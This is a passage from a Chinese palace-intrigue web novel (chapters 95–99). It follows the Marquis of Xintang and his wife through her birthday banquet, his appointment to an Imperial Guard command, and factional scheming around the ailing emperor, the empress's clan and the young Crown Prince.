“快至你生辰,算一算日子真快。”牛二囡抱着大孙孙,这会儿目光落在女儿的肚子上。 “娘真盼着双喜临门。”牛二囡笑道:“一喜你的生辰,又添一岁,又是一岁平安。” “二则你早些给安康添了弟弟妹妹。” 牛二囡这当娘的自然催生。也怨不得牛二囡催生。 人来了燕京都,她也听一些耳闻。关于新唐侯夫妻感情甚笃。 可新唐侯府就一个小世子,人丁单薄一事,还是有些非议声。 牛二囡心底,她是盼着女儿女婿夫妻和睦。 奈何新唐侯府的家大业大,多些儿女,香火有保证。 在这一个世道里,小儿易夭折。真是千顷良田一根苗,那很危险的。 毕竟新唐侯府有着爵位等继承。一个继承人,在牛二囡心底不保险。 更何况这又是人多力量大的时代。人多,兄弟姐妹相互帮衬。 宗族为大,此乃世道规矩,人心向背。 牛二囡生于此,自然是从了世俗大势。 “我和夫君都盼着给安康添了弟弟妹妹。这不是看了缘分嘛。” 万珍珠笑道。 对于造小人的事情,万珍珠顺其自然。有,则是送子娘娘的灵验。 无,这真的看天意。 毕竟小产过一胎,虽然如今调养的好。可后续是否怀了? 万珍珠真觉得不在人意,在天意。 万珍珠与亲娘这儿,关于造小人的事情,还是论了一二三。 “殿下。”万嬷嬷这会儿欢喜的禀话,道:“北面送了礼来。” “哦。”万珍珠笑了。 “快,把礼单子拿来,让我瞧一瞧。”万珍珠来了兴致。 北面,谁家贺礼? 万珍珠好奇了。等万嬷嬷把礼单子一递。 万珍珠知了。 “原来是亲家的贺礼。”瞧着是挛鞮氏一族的大阏氏差人的送礼。 万珍珠心头有数了。 只在贺礼外,还有书信。在书信中,万珍珠还瞧见了未来儿媳的书信。 简单几句,瞧着笔力浅一些。却也有一番章程。 万珍珠顺口夸几句。 对于未来的儿媳挛鞮明珠,万珍珠从北南有知道消息的。 毕竟自家千辛万苦的送了嬷嬷去,不止一人。 为的便是让未来的儿媳妇好好的接受了良好教育。 这样一个儿媳妇,文武两全,自然是让万珍珠满意极了。 “北面的未来亲家啊。”牛二囡也在意了。 要说当初知道了未来的大孙孙要娶了一个胡人女。 牛二囡不开心的。 哪怕是什么草原贵种。那胡人,就是胡人。 在牛二囡的心底指定是一百个不愿意。 可这事情是女婿定下来的,牛二囡倒当了多话。 只在女儿跟前,牛二囡嘀咕过几回。 最后还是听了亲闺女的劝慰,牛二囡才是想通透的。 如今瞧着人情往来,北面人的直往,还是收买了牛二囡。 毕竟一个乐意给亲家送记的,那一定是好亲家。 再则,牛二囡也知道女儿在草原上也有生意。 还是大生意。 如此,在草原上有自家人,那熟门熟路的不怕被坑。 草原嘛,也跟中原一样。这自然是有好人,有坏人。 同时,还是有立场的。 人嘛,彼此之英雄,我之仇寇。这太正常了。 就因为立场不同的。看法也会不同的。 挛鞮一族如今的立场,自然是面上臣服于大赵朝。 实则跟新唐侯府有千丝万缕的联系。 大家伙不止是彼此各取所需,各是勾兑利益。 牵扯太深,剪不断,理也乱。 “我还得回了信,瞧瞧,明珠也给我送了礼。哈哈哈……”万珍珠开心一回。 未来儿媳年岁虽小,不止写信贺,还送礼贺。 这礼,还是小辈的心意。万珍珠收得开开心心。 只一点,在心底,这儿媳跟儿子的缘份。万珍珠是支持。 成不成,端看将来小儿女们的眼缘了。 第96章 又是一场小雨后,雨过天晴时,阳光灿烂。 待赵济世回府时,安康去亲迎了爹爹。 小孩儿的高兴让赵济世的心情不错。归家,一家人开开心心,哪怕衙门里有一些为难事。 赵济世回府后,那心情也会换一换。 待夕食罢。 赵济世牵着妻子的手,二人漫步,在花园子里闲聊一二。 至于好大儿安康,他就是陪一陪姥姥。顺道也是住了姥姥的院里。 对于小孩儿安康而言,他还小嘛。在进学开始前。 小孩儿的世界很简单,就是吃吃玩玩睡睡。 “商社斩去五成的利益,珍珠妹妹可心疼?”赵济世问妻子。 万珍珠捏一捏丈夫的手,她道:“岂能不心疼。” 可这斩去利益一事,那是夫妻二人商量过的。 心疼归心疼,在更大的利益面前,一切会值得。 “反正不填一些人的胃口,总归不成的。只是济世哥哥才辛苦。在外面为了维持了侯府的尊荣,万般筹谋。” 万珍珠这会儿执起丈夫的手,她的眼中是心疼与爱意。 “哈哈哈……”赵济世畅快的笑一回。 在外面忙碌,在外面与人勾心斗角。回府后,一派祥和。 有妻有儿有长辈,赵济世觉得人生圆满,不缺什么。 “好男儿撑门户,那些风霜,不过些许。我不在意的。”赵济世的脸上真是云淡风轻。 归府后,虽然事事会不瞒了妻子。可春秋笔法。 懂得都懂,真话有时候也是可以描补一二。 至少赵济世拿捏里面的分寸很熟练。他做这些,只是不想枕边人太担忧了。 “宽心,有些人被利益勾了心,勾了魂。总归会付出代价的。” 赵济世跟妻子说道。 “嗯,我信任济世哥哥。我们夫妻做的一切,都是为了让侯府更好,让安康和未来的孩子们有更好的将来。” 做爹做娘,那一切辛苦为谁忙?还不是为了儿女子孙忙碌。 虽然自己也是享受了一回,可到底万般的家业,最后还是留给儿孙们的。 赵济世握紧了万珍珠的手,他笑道:“今年妹妹的生辰,不若大办一场?” “宫廷里龙体欠安,还是低调一些吧。年年生辰,哪还需要特意的大办一场。”万珍珠拒绝了夫君的美意。 “不,我是故意的。”赵济世凑近了妻子的耳畔。 “大办一场生辰宴,应该请的,不应该请的,都可以请来府上做客。” 赵济世讲话时,那热气吹在万珍珠的耳畔。热热的。 “彼时,我也能见一些往日不好私下见面的大人物。” 办一些事情,总归为了一些谋划。 万珍珠听懂了。 “既然如此,那便大办吧。”万珍珠应了。 于是承顺四年,夏。 万珍珠的生辰,便是大办一场。应该请的,不应该请的,或者说跟新唐 侯府来往的,不来往的,那请贴全是送上。 这一场热闹,新唐侯府高调的很。 大赵朝,燕京都,内城,孔府。 孔六姑娘的婚事,也是订了下来。这是孙家主的意思。 孔六姑娘的婚事,那自然的许给了皇帝的舅舅家。承恩府的何二公子。 这一位何国舅的嫡长子,虽然本事没有。可将来有一个爵位继承。 对此,孔六姑娘满意不满意,那不重要。孔家跟何国舅的走近,那才很重要。 何国舅的手中有兵权,何国舅跟孔氏一族走近。 这代表了什么? 只能说各花入各眼,人人有猜测。 “夫君,这是新唐侯府的请贴。”孔家夫人在夫君归府后,递了新唐侯府的请贴。 孔家主接过来,略一瞧,讲道:“倒张扬。” “可不嘛,夫君是不知道,这新唐侯夫人的生辰宴,年年皆有。往年,虽也举办,可不像今年这般奢华。” 孔家夫人提一句。 “今年甚奢华吗?”孔家主的眉头跳动一下。 “往昔,新唐侯府在北镇,那里的风土人情,在燕京都比不得嘛。听说,生辰宴也是办的。” 孔家夫人说一说查到的消息。 “只归了燕京都后,新唐侯府能张扬的时候,必是张扬的利害。” 孔家夫人虽然不开心新朝勋贵,那等张扬肆意。 可在心里,未尝不是羡慕的。 当然,看低一回新唐侯府万氏,也是必然。 谁让新唐侯夫人的家世背景,知道的都知道。 一个太监的女儿,虚号的大晋公主。在大赵朝可是扎眼的很。 至少扎了许多贵妇人的心思。孔家夫人也不例外。 如果可以的话,真不想给一个太监的女儿一份体面。 奈何太监的女儿,还是登堂入室,成了大赵的侯夫人。 这些燕京都的贵妇们,那心里蛐蛐,不,应该说有些嫉妒的,在暗中可没少传扬了新唐侯夫人的闲话。 孔家夫人自然是听过几耳朵,只是端着身份。 不想多妄议罢了。 可在心底,孔家夫人还是对新唐侯夫人万氏瞧不起。 于是当初小女儿起心思,夫君准备对付了新唐侯夫人时。 孔家夫人没觉得哪不对。一个太监的女儿,落寂了更好。 也免得拉低了燕京都高门大户主母的格调。 真是跟一个太监的女儿同为诰命夫人。让孔家夫人等世家贵女出身的主母,那是恶心的很。 这不,万氏这人,在这些世家出身贵女的主母们眼中,真是跟攀附上来的癞蛤蟆一样,膈应人。 “既然有请贴,府上便是去一回。”孔家主给了答案。 那一日,待万珍珠生辰宴时。 新唐侯府迎宾客,纳四方,迎新喜。 彼时的新唐侯府是一片热闹,男客女客,各有归处。 赵济世和义弟们招呼了男宾。至于女宾,自然是万珍珠和弟妹们一起招待了。 处处有安排,可不会慢待了谁。 只新唐侯府的热闹,自然也是传入了有心人的耳里。 大赵朝,燕京都,皇宫,凤仪宫。 孔皇后的心情很坏。帝王病了,却不让皇后侍疾。 当然,也没有让宋贵妃侍疾。这让孔皇后的心情好一点点。 “新唐侯府,真是张扬。”孔皇后知道宫外的事情。 近日,孔皇后对于新唐侯的印象,那是越来越坏。 春日,宫廷宫宴时。 孔皇后借着宫规矩说事,还是小小的刁难了一下新唐侯夫人。 只是有宋贵妃帮衬,倒底没如何。 可这心头的疙瘩,那是落在孔皇后的心底。 在孔皇后瞧来,宋贵妃是借着此事,那在挑战了凤仪宫的权威。 “不过,也对。”孔皇后冷笑。 “站东宫的风,新唐侯府的未来是青云直上。小瞧凤仪宫,也不过区区小事。”孔皇后说这话时,声音很冷。 陪嫁嬷嬷这会儿赶紧劝话。 “皇后娘娘,您贤名远扬,又是中宫娘娘。区区诰命,不过是念一二慈悲名,才是轻拿轻放了。要不然,凭皇后娘娘的心意行事,自然会让新唐侯夫人吃不了,兜着走。” 陪嫁嬷嬷说的实话。 也是孔皇后顾虑太多。若不然,在宫廷宫宴时。 皇后想刁难人,那有的法子。 只是孔皇后顾虑太多,一时不查,才让宋贵妃得了好脸。踩了一回凤仪宫的体面。 只陪嫁嬷嬷是不敢多说宋贵妃的坏话。就怕坏了皇后的心情。 万一皇后想左了,真是跟宋贵妃计较。将来怎么办? 孔氏一族怎么办? 要知道宋贵妃是太子生母。不看僧面看佛面。 宋贵妃注定在未来有一席之地。 那能不得罪,自然不敢得罪。 陪嫁嬷嬷是得了宫外消息的,孔家主的心思很明白。 孔皇后稳住。在将来,她的位置注定了。那是太子的嫡母。 板上钉钉的皇太后。这怕什么? 稳住,不要出大错。让人拿了的把柄,被废了皇后之位。 这才是孔皇后的关键要点。 宫外。 新唐侯府。万珍珠陪着一众女眷在听戏。 不是依依吖吖。而是一些热闹的小戏。 瞧着逗猴,瞧着那些武戏。万珍珠还是瞧一个热闹。 这会儿的万珍珠与一众女眷们凑一起。看看戏。 更是听一听许多人的吹捧。 万珍珠的心情甚好。毕竟她这一场热闹的生辰宴。 张扬归张扬。可效果是杠杠的好。 新唐侯夫妻二人的感情好,这好在哪?不是虚言。 而是新唐侯心疼夫人,那一举一动。这便是证明。 有话说的好,心疼心疼,钱花哪,心疼在哪。 这不,爱重在哪,那自然是心意在哪。 “真羡慕嫂嫂。” 沈氏在旁边接话,接的也是诰命敕命们的话。 “对,侯爷待夫人,可谓一片真心。这满燕京都上下,谁不赞了侯爷与夫人伉俪情深。” “对,对。” “夫人真是福德深厚,修来的好缘份。” “此生能得夫人一二的福德,便是心满意足。” “可不,满燕京都上下,谁都羡慕了夫人的好福运。” “……” 在一场小戏唱完,又一场小戏将登台时。 万珍珠又听了一场吹捧。 这会儿的万珍珠笑颜如花。她岂能不开心。 这好话嘛,听一听,笑容多。可谓是多活几岁。 在一众女眷里,宁国公府的二儿媳崔氏,这一位崔府的八姑娘。 如今不是新妇。也是一众女眷里的一员。 崔氏便是羡慕的一人。真心羡慕的很。 第97章 大赵朝,燕京都,内城,泰一宫。 承顺帝本来重病,却也关心一回燕京都的事宜。 毕竟哪怕在病中,帝王还是关心着他的江山社稷,祖宗基业。 “今日的新唐侯府很热闹吧?”承顺帝问一句。 全公公早给帝王禀报了,关于新唐侯的一些举动。 大事小事,只要关系上了东宫,全公公可不敢瞒了。 帝王心头有数。这一问,全公公躬身回道:“陛下明鉴。” “大伴,你在糊弄朕。”承顺帝这会儿咳几声。 “新唐侯瞧着威风,可这一份威风,倒是拿利益换的。” 关于新唐侯府在背后舍了多少利益,退了多少步。 又为了什么? 承顺帝自然让人查过。不外首是新唐侯的小辫子让人拿了。 而那些小辫子,还是为着当初的曹氏三族的祸事引发的。 可就是有这事,东宫和宋氏一族拿捏了新唐侯,那是拿捏得住。 忠心之辈,对于帝王而言,不难寻到。只是这一份“忠心”几何? 帝王自己也不敢保证。 或者说彼时忠心,将来呢? 承顺帝 这等帝王是要多疑几分。不怎么相信。 比起忠心,帝王更相信了臣子的态度。论迹不论心。 或者说帝王也是在熟人圈子里挑了人才。 新唐侯办事,一直以来,还是挺合着帝王的胃口。 知情识趣,应该退时,从来不含糊。 在得了帝王的暗示时,也是懂得应该部锋了,那是拿头就拼。 “朕瞧着,新唐侯也是委屈。”承顺帝这般话讲。 全公公能怎么说? 全公公肯定站了帝王这一边,帝王说啥,啥都是对的。 “拟旨。”帝王吩咐一声。 全公公赶紧应话。 大赵朝,燕京都,皇宫,凤仪宫。 对于如今的孔皇后而言,她虽然势弱几分。可应该得着的消息,还是耳目灵通。 可不能小瞧了孔氏一族的底蕴。在一些事情上,世家世族是根深叶茂,盘根错节。 “泰一宫的圣旨,陛下待新唐侯可真是圣眷隆厚。” 孔皇后说这话时,眉头微蹙。 “皇后娘娘,您的意思是新唐侯更进一步,东宫势力大涨吗?”陪嫁嬷嬷小心问道:“可要给宫外递了消息?” “……”孔皇后沉默片刻。 “如今的新唐侯不同了。”孔皇后感慨一回。 “禁军御林卫左统领。”孔皇后讲道:“这可是燕京都的实差。” 这位置很关键,至少在孔皇后眼中如此。这不掌了宫中的亲卫兵权。 虽然不守了天子跟前。 可御林卫左统领是管了燕京都的兵权。守了燕京都的城门。 真是左统领一管,整个燕京都那能一只蚊子也飞不出去。 毕竟燕子京都城高城厚,一旦城门一关,便是围城。 皇帝突然把这样一个位置给了新唐侯。这里面的意味,很让孔皇后深思。 孔皇后总要打探清楚,知道更多的内幕。尔后,跟娘家商量一番,拿了主意。 如果可以,孔皇后不介意跟新唐侯夫妻是化解一番旧怨。 冤家宜解不易结。 那旧怨旧事,还是翻篇的为好。 燕京都,内城,新唐侯府。 在一处暗室里,赵济世连续了见了几位贵客。 昏暗的内室,不见烛光。 阴谋嘛,自然是不可见光的。赵济世与人交易。 这等机会,也不过是不想引了注意。 有些事情,当面谈,那更容易谈妥了。 或者说详细的谈一谈,有些利益的交换,总归是彼此双赢。 在生辰宴最热闹时。 天使来,赐了恩典。不止给万珍珠这一位诰命夫人赐了赏。 连赵济世的差遣发生了变化,也是在今日始。 在心头,知道自己要新上任禁军御林卫左统领时。 赵济世的心在跳,加速的跳。 这一个位置很关键。 赵济世以前不敢想,位卑吗?不。 恰恰相反的,在燕京都,这一个位置很关键。 非是帝王心腹,不得任职。 要知道来了燕京都,赵济世坐了太久的冷板凳。 莫瞧兵部尚书,那是高位显贵。 可问题的关键在于,赵济世不是文臣。或者说不是那一类能在笔杆子耍弄之辈。 特别是兵部这一个关乎了武官升迁的地方。 里面的利益,大赵的宗室有纠葛。大赵的勋贵一样。 赵济世团结大多数,可在里面,还是坐过冷板凳。 或者说是赵济世眼中的冷板凳。 赵济世是勋贵出身,他的上位,全靠着拿命拼。 有兵权的勋贵才叫名符其实。没了兵权的勋贵,不过是皇家的吉祥物。 天下不曾一统,万一有什么? 一个没兵权的勋贵,可谓是起风了,狗都不如。 赵济世不想拿兵权吗?他做梦都想。 只不过不敢。因为他如今的一切,全赖承顺帝的恩典。 甭管是拿命了,拼出来的前程又如何? 在掌了兵权的帝王跟前,新勋贵也不过是一条狗。 是的,赵济世知道,他在帝王眼中,不过一条用着顺手,还算忠心的狗。 赵济世没生二心。 赵济世只是在妻子小产后,知道自己差一点妻儿俱失。 那时候的赵济世恨,恨了幕后真凶。 可等着查出了真相时,赵济世不可能真的复仇。 因为关乎了皇家。 做为勋贵,哪怕张牙舞爪,也不过在帝王画的小圈子里。 打杀了曹氏等三族人,给小产掉的孩子陪葬又如何? 赵济世心不安。 那一种闸刀在头顶,随时可能落下,任人宰割的感觉太坏了。 因为在鬼门关前走过,因为知道生死之间,有大恐惧。 赵济世害怕过吗? 没有。 或者说习惯了。可能最初是害怕的。可吃了刀口上的饭,后来不怕了。 因为亮了刀子,生就是生,死就是死。 可在燕京都里,这样一个斗兽场。真死,不止死自己,还会死家小。 赵济世有妻儿长辈,有义弟与侄儿们。 赵济世的心里有担子,他只想要一个好结果。 而不是拼了一辈子,最后做了别人的棋子,不止自己死得不明不白,还是一生希望付诸东流。 那么,如何办? 唯力争上游。 赵济世不想头上踩他的脑袋太多。能少一双脚踩头上,那也是极好的。 这不,在帝王点拔后,赵济世退一步。不,应该说,大步退了一回。 如今帝王给了恩典。 赵济世自然领着妻儿家小叩谢天恩。 “臣叩谢陛下隆恩,吾皇万岁。” 赵济世接过圣旨时,行了大礼。当然,那大礼的方向对着泰一宫的方向。 这一日,来新唐侯府的宾客也算是见识了一回,天子心腹,何等模样。 等着天使离开,等着生辰宴结束后。 来往宾客,自然又是跟新唐侯夫妻攀谈一二。 尔后,才是告辞离开。 当然,赵济世的义弟和弟妹们,那是留了下来。 在书房里,赵济世和义弟们在一起商量一些事情。 “如今瞧来,陛下心里,还是信了我这一个臣子。”赵济世的脸上有笑意。 割肉,狠狠的割自己的肉喂旁人。那等利益的割刀一旦拿起来,真是割了谁,谁真痛。 不过嘛,真是见着收获时,赵济世是高兴的。 “恭喜大哥,守得云开见月明。”马义讲道。 如今一众兄弟,都是一样的态度。恭敬自家大哥。 “我得了天子的恩典,自然不会忘记诸兄弟。” 赵济世跟以往的态度一样。从来不吃独食。 对于义兄,诸位义弟当然相信。 书房里,赵济世这一面跟义弟们不止是说说好话。 同时,也是吹一吹风声。有些章程,那得见着行动了。 在后宅。 万珍珠也在跟诸弟妹们笑谈一些家常。 当然,今个弟妹们来帮衬。新唐侯府也是得了天子恩赏。 这不,万珍珠当然也要跟弟妹们分享一二。 应该花钱时,应该分享时,万珍珠是乐意当了散财女神的。 对于一位不掺合府里事,在银钱上大方的嫂嫂。 哪怕是义嫂。 这做弟妹们的真是当了亲嫂一样。 长嫂如母,这应该给长嫂的尊敬。沈氏等诸位弟妹,可不敢打了半分的折扣。 于是后宅里,一众女眷也是聊得开心。 等着这一晚,天将暗。 万珍珠和夫妻二人单独相处,也是到了就寝入眠时。 夫妻二人睡一屋。 这会儿的夫妻二人闲话一番。 “今个,恭敬济世哥哥。”万珍珠笑语盈盈。 “不过第一步。”赵济世的眼中,虽然有欢喜,却也清醒的很。 “珍珠妹妹,我说过的。往后,日子还长呢。” 赵济世握着妻子的手。 “只我胆大,可能还有一搏。珍珠妹妹……”赵济世凑在 妻子耳边,耳语道:“怕吗?” “夫妻一体,同辱同荣。我不怕。”万珍珠揽了丈夫的腰。 她心想,真结实。 对于丈夫,可能始于颜值。 但是如今嘛,二人相处久了,那是真感情。 不掺合半分的假。对于万珍珠而言,在这一个世道久了。 什么应该相信,什么时候又应该同心协力的拼一把。 自然是自己拿捏了分寸。 “我信济世哥哥,我们夫妻无论做什么,总归是一体,一心。” 万珍珠轻轻的落了一个吻,落在了夫君的唇畔。 二人四目相对。 赵济世笑了。 “好。”赵济世不再讲旁的什么,这等时候,还是二人欢喜时。 有些话,尽在不言中。 第98章 大赵朝,燕京都,内城,孔府。 孔家主接见了几位客人,对于这几位客人的来意。 孔家主详谈一番后,颇有收获。 于是待客人离开后,孔家主的心情很好。晚间,夫妻二人独处时。 孔家主跟妻子讲了一番话。 “陛下龙体欠安,如今,一动不如一静。”孔家主的目光落在妻子的身上。 “关于小女儿那一边,你要安抚,让她多跟婆家磨合好了关系。” 孔家主嘴里的孔六姑娘,自然指着她的夫家国舅府。 “夫君放心,我省得。”孔家夫人忙应下话。 关于东宫册立储君后。孔家跟国舅府的关系,因着联姻,也是越走越近。 一切不过是为了利益罢了。 大赵朝,燕京都,内城,宁国公府。 崔氏今日跟婆母告假。不曾去晨昏定省。她病了。 或许是心病。 崔氏这一边养病时,嫂嫂来访。 宁国公府的世子夫人来看了弟妹崔氏。 “弟妹,你这病一来,瞧着,也是利害。府医若不曾得用,便是请了御医来府吧。”世子夫人劝道。 “府医得用着,吃了药后,感觉好多了。多谢嫂嫂关心。” 崔氏忙回道。 世子夫人来一趟,在弟妹崔氏这儿也不过是走一走过场。 既然崔氏自个都不介意,世子夫人自然不再多劝。 次日,崔家的贺夫人来探望了病中的女儿。 崔家,常家,如今走得很近。或者说姻亲之间,自然是联络着。 特别是在如今的情况下,在承顺帝的有意纵容下。 甭管是何国舅一边,又或者是孔家一边,再或者是崔家,又或者是宁国公府的常家等等。 这些在朝堂上有份量之辈,个个都在拿捏了。 都想着寻了一席之地。或者说更进一步。 世家世族,他们的力量自然颇大的。 承顺四年,夏末。 已经在御林卫当差许久的赵济世很忙碌。他真的忙碌了差遣。 哪怕回府的时光,也是减少了许多。 就是在这样的时光里,赵济世得了的消息很多。 有杂乱的,更有一些线索串连着。 这一日,赵济世早早的下差了。一归府,赵济世寻了妻儿。 彼时,万珍珠陪着自家的好大儿安康在花园子玩耍。 夕阳夕下,这会儿天光正好。 因着夏日,天气暗暗,总归晚来。 牛二囡在旁边含笑晏晏的瞧着女儿和孙辈的热闹。 牛二囡也是捂嘴笑着。 安康骑着竹马,他很开心。万珍珠在旁边哄着,还给小孩儿唱了骑马的小曲。 安康听着亲娘的哄,那笑得,可谓是见眉不见眉。 这般的温馨,赵济世远远的瞧见了,也听着妻子的温柔歌声。 他静静的听着,一时间,岁月静好,不忍打扰。 在心头,赵济世坚定了自己的信念。他想守护的便是这等美好。 越如此,越需要了权势。 站得越好,自家越稳。人下人的日子,赵济世不想过的。 自己吃苦了,如果还让孩子继续吃苦,那他这奋斗一回,岂不是白奋斗? 至少赵济世是这般认为的。 “爹爹。”安康从竹马上下来,他瞧见了亲爹。 明明一扭头,安康就是一个小动作。 这不,瞧着亲爹,安康竹马不骑了。这会儿他是小跑着,他扑了亲爹跟前。 万珍珠瞧着好大儿的作派,她转身,她瞧见了远处的夫君。 “……”万珍珠捂嘴一笑。因为她瞧着好大儿抱住了亲爹的小腿。 “爹爹。”安康喊得亲热。 “好儿子。”赵济世抱起大儿,他搂在怀里抛一抛。 “哈哈哈……”赵济世很高兴。 被亲爹抱着,高高的视线,这会儿的安康也是人仗势,势着亲爹的高大。 这不,小孩儿还是鼻孔瞧人了。 瞧着小孩儿的作派,万珍珠就捂嘴笑一回。 赵济世抱着好大儿安康,他走上前,先给牛二囡这一位长辈问安。 尔后,瞧着妻子凑上来,赵济世笑道:“我回来了。” “嗯。”万珍珠颔首。 在万珍珠心底,夫君回来,一家聚齐,自然是极好的。 牛二囡在旁边瞧着,瞧着这一家三口。明明夏日,这会儿却是吹来了晚风。 许是凉爽的,牛二囡的心里不燥热。她瞧着女儿的美好,孙儿的活泼,还有女婿的稳重。 一切皆好,牛二囡心底非常的舒坦。 陪着好大儿玩耍一番。当爹嘛,回府了,自然是做了一个慈父。 赵济世如今没当严父的心思。毕竟好大儿太小了。 于是在府上作威作福的安康,如今开心的守着他的幼童生涯。他的世界很美好。 待晚间,夕食罢。 牛二囡照例留了孙儿,送了女儿女婿离开她的寝院。 漫步在花园子里。赵济世与万珍珠一边走,二人熟悉,二人有情。 此时,二人的心情似乎都不错的样子。 “珍珠妹妹。”赵济世停下脚步。 “我想着,快要到生父生母的忌日。不若,妹妹带着安康和岳母大人回一趟北镇,替我尽一份孝心可好?” 赵济世得了建议。 “……”万珍珠不傻,她已经听懂了潜台词。 北镇,那儿是根基所在。那儿,新唐侯府的人脉多,多脉稳。 可不是燕京都能比的。在那儿,有很多的关系可以护持了万珍珠母子娘仨的。 “济世哥哥,有些事情是不是到了很要紧的那一步,很危险的,对吗?”万珍珠小声的问道。 夫妻这会儿凑近了,彼此的呼吸都能听见的。 “对。”赵济世不瞒了枕边人。 “有危险,我便不离开了。”万珍珠讲道。 “真到那一步,真是没活路。凭着爹爹留的后手,让娘和安康离开便是。我,一定要陪着济世哥哥的。” 万珍珠握紧了丈夫的手。 不到最后一刻,万珍珠不是会放弃的性子。 当然,也不止如此。 因为人心嘛,那是不能考验的。同样的,一旦经过考验的人心,更能贴在一起。 万珍珠不愿意走,因为她自己享受了夫君不纳二色 ,一心一意。 那么,她能回馈的,也是一心一意,夫妻一体。 什么孔雀东南飞,夫妻同林鸟,大难临头各自飞? 万珍珠不会的。 因为得了太多,不舍放弃。 “珍珠妹妹糊涂。”赵济世握紧了妻子的手。 “我若无事,自会照顾了珍珠妹妹一生一世。” 赵济世态度很认真。 “我若有事,安康与岳母便是珍珠妹妹身上的责任。”赵济世讲道。 “让妹妹离开,不过是一道保险。我们的血脉,安康多好的孩子。岂可忍心,让他孤独长大?” 赵济世自己吃百家饭长大了。 赵济世对于寄人篱下是什么感受,他太懂。 越是懂,赵济世越不可能让自己的崽落得那一步。 真是失败了,赵济世自己掉了脑袋,不过碗大一个疤。 赵济世不怕。 杀人者,人恒杀之。 做为刀口子上抢饭吃之辈,赵济世早有心里准备。 可赵济世自己能坦然的面对了死亡。不代表了,他能容忍妻儿如此。 “济世哥哥,我主意定了。”万珍珠咬牙。 “……”这会儿的万珍珠仰头,她望着枕边人。她的眼神里全是坚定。 死亡?可怕吗? 死过几回的万珍珠会讲,死的一瞬间不可怕。 可怕的是死前死后,那一种压在心头上的可怕感。 人死了,便无知。 可死之前呢?那等煎熬,最是可怕的。 “济世哥哥,容我放肆一回吧。”万珍珠搂住了夫君的腰。 她把自己的头埋在了夫君的怀中。她听着夫君的心跳声。 赵济世听到了怀中传来妻子的话语,温温柔一片。 “我和娘、安康离开,更可能惹了注意。不若如此,能避一二被人窥视的目光。”万珍珠不相信了。 她和亲娘、好大儿真的离开。那不会惹了人猜忌? “济世哥哥,越到关键时候,越不敢怠慢。”万珍珠搂着夫君的腰。 这一刻,很温馨的。 赵济世听懂了妻子的话中之意。 “君不密,则失臣。臣不密,则失身。几事不密,必成害。”万珍珠劝了枕边人。 “所以,为了万一,我们皆留下吧。真有万一,济世哥哥放心,排除万难,安康一定会无恙的。至于将来?真有万一,娘会护持了安康平安无恙的长大。” 万珍珠说了自己的安排。虽然只是万一,可应该有的安排,那也得安排上的。 赵济世听懂了妻子的态度,很坚决。 美人恩重,这四字是什么模样的,赵济世有一点点懂了。 当然,在赵济世的心里,枕边人是心上人。不止是美人。 夫妻一体,这一体便是一心一意。 赵济世揽了妻子的腰。他的声音压得极低。 他说道:“我这一生,必不辜负了珍珠妹妹。” 在心头,赵济世只有一个想法。计较启动前,还当谨慎,再三谨慎。 可谨慎之外,应该接的联盟。赵济世只想拖了更多的朋友下水。 毕竟盟友多,或者说得用的盟友多。那才是致胜的筹码。 赵济世只想赢。 同时,有些不合适的人物,那么,也应该给机会。让对方更灿烂一些。 天子病重,想必见不得张狂之辈。特别是威胁了东宫的祸端啊。 第99章 大赵朝,燕京都,东宫。 东宫,太子寝宫。储君所在。这儿的护卫众多,这不算什么。 太子的属官里,全是帝王塞的心腹。同时,也是太子这一派系的大本营。 太子的亲舅舅,宋国舅自然是在东宫挂了要职的。 不为旁的,因着帝王相信这一位国舅会护持了太子。 毕竟太子安,宋氏一族的前程与富贵荣华皆安。 太子对于宋氏一族的重要性,那是太重要了。 “殿下。”宋国舅的神色严肃。 “舅舅。”太子哪怕年岁小,还是童子,可他信任了自己的舅舅。 年七岁的太子,对于自己的舅舅嘛,那是信任的很。 “瞧你神情,可有要事?”太子哪怕年岁小,可身在皇家,也是懂事的很。 毕竟东宫储君这位置太重了。帝王会给太子传授了许多,同时,东宫的太子老师们一样也是盼着教导一位至圣明君。 有机会凑了太子跟前,能教导了太子的。谁不是盼着教导了一位自己满意的明君。 至于这明君会咋样? 纯粹看天意。 “殿下。”宋国舅一声叹息,尔后,递了一份秘本给太子。 太子识字,此时接过秘本,略略一读。 太子的脸色难看,他有些紧张,问道:“舅舅,这可怎么办?” “殿下莫慌,一切有臣在,必不让乱臣贼子谋害殿下。” 宋国舅赶紧回话道。 这秘本的来源嘛,新唐侯府出过力。那是背后出了力。 明面上还是宋国舅领着的宋氏一族无意查出来的真相。 孔皇后那儿,谋得天子信任。 同时,宫外的洪氏一族取得了孔氏一族的信任。 洪氏一族,宫里曾经有一位洪娘娘。只这一位洪娘娘病逝了。 洪娘娘的膝下嘛,还留下了一位三皇子。 至于二皇子?早夭了。 于是承顺帝屁股下的龙椅,三皇子也是有继承权的。 对于自己的几个弟弟,大赵太子盯得紧。 或者说属于大赵太子这一系的人马盯得紧。特别宋国舅,那是恨不能多安排几双眼睛,肯定紧盯不放,就怕哪儿出了差子。 “舅舅,你说,我们应该如何做,以绝后患?” 太子在问亲舅舅。 或者说太子在等着亲舅舅表了忠心的态度。 太子年岁虽小,可他不傻。青史之上,例证太多。 太子一旦不能登基,那就没有下场。不止太子,便是属于太子一系的核心人物也一样。 像是宋国舅与他背后的宋氏一族,全部的攀附皆在太子。 一旦太子倒台了,他们一定得跟着倒台,吃了挂落。 更可能宋国舅往后会没了吃饭的家伙。 宋国舅在如今的情况下,他是没法子退的。 退一步,就让人宰掉了。 至于说这事情信不信? 宋国舅肯定信啊。毕竟,孔皇后待三皇子的亲厚,宫内宫外,皆有贤名。 或者说对于承顺帝的皇嗣,孔皇后都是表一表慈仁贤惠的名声。 同时,洪氏一族倒向孔氏一族。 最主要还是三皇子的生母殁了,这很重要。 在宫廷里,就不会出现了承顺帝百年之后,两位皇太后同临朝政的情况。 权利,那东西一旦沾了,没谁会喜欢分享的。 毕竟有人拿多了,有人就会少了。 何况还关乎了天子。这没亲娘,有嫡母的情况下。孝道至尊,嫡母可以压一头的。 还是狠狠的压一头。那等情况下,三皇子于孔氏一族而言,确实是最好的选择。 而如今的太子呢? 太子一系的人马太多了,虽然多数是承顺帝塞来的。 那目的简单,就想壮了东宫的声势。同时,也意味着太子上位。 孔氏一族这样的皇亲国戚,那想凑上来,那能得的好位置就太窄了。 孔氏一族,世家世族。人家心气好些,想办事的时候,一劳永逸呢? 这是宋国舅的猜忌。同时,这也是太子的猜忌。 谁让太子信了宋国舅。同时,宋国舅在太子跟前又没少嘀咕一些话。 这嘀咕的谁? 